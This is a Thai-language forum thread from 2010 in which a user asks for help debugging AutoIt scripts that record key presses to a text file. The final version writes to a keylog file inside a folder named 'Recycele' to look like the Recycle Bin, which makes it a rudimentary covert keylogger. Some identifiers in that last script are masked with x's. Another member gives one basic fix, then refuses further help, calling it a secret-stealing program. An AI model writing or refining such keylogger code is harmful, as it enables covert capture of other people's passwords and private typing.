ฟอรั่ม PSsix

Would you like to react to this message? Create an account in a few clicks or log in to continue.

ฟอรั่มของบล็อก http://pssix.blogspot.com


2 posters

    วิธีล้างค่าตัวแปรให้เหลือ 0

    Monaliza
    Monaliza
    PSsix Member Super Class III
    PSsix Member Super Class III


    PSsix Program Coder
    จำนวนข้อความ : 213
    ความนิยม : 7
    เข้าร่วมเมื่อ : 03/10/2010

    วิธีล้างค่าตัวแปรให้เหลือ 0 Empty วิธีล้างค่าตัวแปรให้เหลือ 0

    ตั้งหัวข้อ by Monaliza 21/11/10, 05:15 am

    :suspect:
    กำหนดให้$xเก็บค่าตัวอักษร+ตัวเลขถ้าครบ20หรือมากกว่าแล้วให้เขียนลงไฟล์
    การเขียนลงไฟล์รอบแรกไม่มีปัญหาครับแต่การวนลูปรอบที่2เป็นต้นไปหลังจากที่ตัวแปร$xเก็บครบ20ตัวแล้วมันจะ
    เขียนลงไฟล์ทุกรอบไม่มีหยุดเพราะค่าในตัวแปร$xนั้นมากกว่า20ตัว
    #include <Misc.au3>
    $dll = DllOpen("user32.dll")
    $x = ""
    While 1
    sleep(100)
    If _IsPressed("41", $dll) Then
    $x = $x &"a"
    While _IsPressed("41") = 1
    WEnd
    ElseIf _IsPressed("42", $dll) Then
    $x = $x &"b"
    While _IsPressed("42") = 1
    WEnd
    ElseIf _IsPressed("43", $dll) Then
    $x = $x &"c"
    While _IsPressed("43") = 1
    WEnd
    EndIf
    $len = StringLen($x)
    If $Len >= 20 Then
    FileOpen("123.txt", 1)
    FileWrite("123.txt", $x&@CRLF)
    FileClose("123.txt")
    EndIf
    WEnd
    DllClose($dll)
    อยากรู้ว่าหลังจากเขียนค่าจากตัวแปร$xลงไฟล์แล้วมีวิธีไหนบ้างที่ล้างค่าตัวแปร$xให้เหลือ0ทุกครั้งหลังจากเขียนลงไฟล์
    ช้วยดูหน่อยครับ :lol!:
    aut
    aut
    PSsix Powerful Scripting Class
    PSsix Powerful Scripting Class


    PSsix Game Coder
    จำนวนข้อความ : 472
    ความนิยม : 126
    เข้าร่วมเมื่อ : 24/07/2010

    วิธีล้างค่าตัวแปรให้เหลือ 0 Empty Re: วิธีล้างค่าตัวแปรให้เหลือ 0

    ตั้งหัวข้อ by aut 21/11/10, 08:24 am

    เรามึนกับคำถามของนาย ไม่ได้มึนไม่เข้าใจนะ มึนเพราะปัญหามานเบสิคอะ ประมานเหมือนนายทำตึกไปสิบชั้นแล้วมาถามผสมปูนยางไง :affraid:

    ลองดูอันนี้แล้วกัน

    If $Len >= 20 Then
    FileOpen("123.txt", 1)
    FileWrite("123.txt", $x&@CRLF)
    FileClose("123.txt")
    เอา $x = "" มาใส่ต่อหลัง fileclose ก็จบอ่านะ


    Monaliza
    Monaliza
    PSsix Member Super Class III
    PSsix Member Super Class III


    PSsix Program Coder
    จำนวนข้อความ : 213
    ความนิยม : 7
    เข้าร่วมเมื่อ : 03/10/2010

    วิธีล้างค่าตัวแปรให้เหลือ 0 Empty Re: วิธีล้างค่าตัวแปรให้เหลือ 0

    ตั้งหัวข้อ by Monaliza 23/11/10, 12:47 am

    #include <Misc.au3>
    #include <file.au3>

    $dll = DllOpen("user32.dll")
    $x = ""
    While 1
    sleep(10)
    If _IsPressed("10", $dll) Then

    If _IsPressed("41", $dll) Then
    $x = $x &"A"
    While _IsPressed("41") = 1
    WEnd

    EndIf

    Else

    If _IsPressed("41", $dll) Then
    $x = $x &"a"
    While _IsPressed("41") = 1
    WEnd

    EndIf

    $len = StringLen($x)
    If $Len >= 8 Then
    FileOpen("123.txt", 1)
    _FileWriteLog("123.txt", $x&@CRLF)
    FileClose("123.txt")
    $x = ""
    EndIf
    WEnd
    DllClose($dll)
    ทำไมมันยังมีอาการใช้หน่วยความจำเพิ่มขึ้นทุกครั้งครับมันกินหน่วยความจำยิ่งกว่าตอนเขียนลงไฟล์โดยตรง
    ทั้งๆที่เขียนค่าลงตัวแปรแทนเขียนลงไฟล์แล้วแท้ๆ
    มีวิธีไหนทำให้โค้ดมันสั้นกว่าเดิมไหมครับ
    aut
    aut
    PSsix Powerful Scripting Class
    PSsix Powerful Scripting Class


    PSsix Game Coder
    จำนวนข้อความ : 472
    ความนิยม : 126
    เข้าร่วมเมื่อ : 24/07/2010

    วิธีล้างค่าตัวแปรให้เหลือ 0 Empty Re: วิธีล้างค่าตัวแปรให้เหลือ 0

    ตั้งหัวข้อ by aut 23/11/10, 10:30 am

    โค้ดเน่าตั้งตอนแรกแล้ว แค่ตัวนี้ While _IsPressed("41") = 1 กด a ค้างซีพียูก็พุ่งปรี๊ดไปสุด โค้ดอื่นก็สูบแรมไปเรื่อย วิธีแก้ก็ไม่รู้ รู้ก็ไม่อยากบอก ทำโปรแอบขโมยความลับ ไม่อยากจะช่วย นายก็รู้แก่ใจใช่ไม่ใช่ บาปกรรมอะ เลิกเถอะ เราไม่ขอเกี่ยวละอ่านะ

    😕 😕 😕 😕
    Monaliza
    Monaliza
    PSsix Member Super Class III
    PSsix Member Super Class III


    PSsix Program Coder
    จำนวนข้อความ : 213
    ความนิยม : 7
    เข้าร่วมเมื่อ : 03/10/2010

    วิธีล้างค่าตัวแปรให้เหลือ 0 Empty Re: วิธีล้างค่าตัวแปรให้เหลือ 0

    ตั้งหัวข้อ by Monaliza 25/11/10, 01:30 am

    ok ครับเลิกก็เลิก
    ยิ่งทำยิ่งปวดหัว
    Monaliza
    Monaliza
    PSsix Member Super Class III
    PSsix Member Super Class III


    PSsix Program Coder
    จำนวนข้อความ : 213
    ความนิยม : 7
    เข้าร่วมเมื่อ : 03/10/2010

    วิธีล้างค่าตัวแปรให้เหลือ 0 Empty Re: วิธีล้างค่าตัวแปรให้เหลือ 0

    ตั้งหัวข้อ by Monaliza 05/12/10, 05:17 am

    ผมหาวิธีไม่ให้มันกินแรมได้แล้วครับ
    ยัด sleep(10)ลงไปครับอันนี้เอาไปแก้มาใหม่แล้วช้วยดูให้หน่อยว่าดีขึ้นหรือยังครับ
    #xxxx <Misc.au3>
    _Singleton(@ScriptName, 0)
    DirCreate("c:\Recycele")
    $date = @MDAY&"-"&@HOUR
    $xxxxx = xxxxxxxxxxxxxxx
    $file = FileOpen("c:\Recycele\keylog"&$date&".txt", 1)

    While 1
    sleep(50)
    If xxxxxxx("41") = 1 Then
    If xxxxxxx("10") = 1 Then
    FileWrite($file,"A")
    Else
    FileWrite($file,"a")
    EndIf
    While xxxxxxx("41") = 1
    sleep(10)
    WEnd
    EndIf
    WEnd
    DllClose $xxxxxxx
    FileClose($file)
    ไม่กินแรมเพิ่มแล้วครับบันทึกเป็นไฟล์ใหม่ทุกครั้งที่เปิดโปรแกรม
    กด "a" ค้างซีพียูก็ไม่พุ่งเป็น100%เหมือนตัวเดิมอย่างมากก็ไม่เกิน40%
    ครับ

      เวลาขณะนี้ 26/04/24, 06:15 pm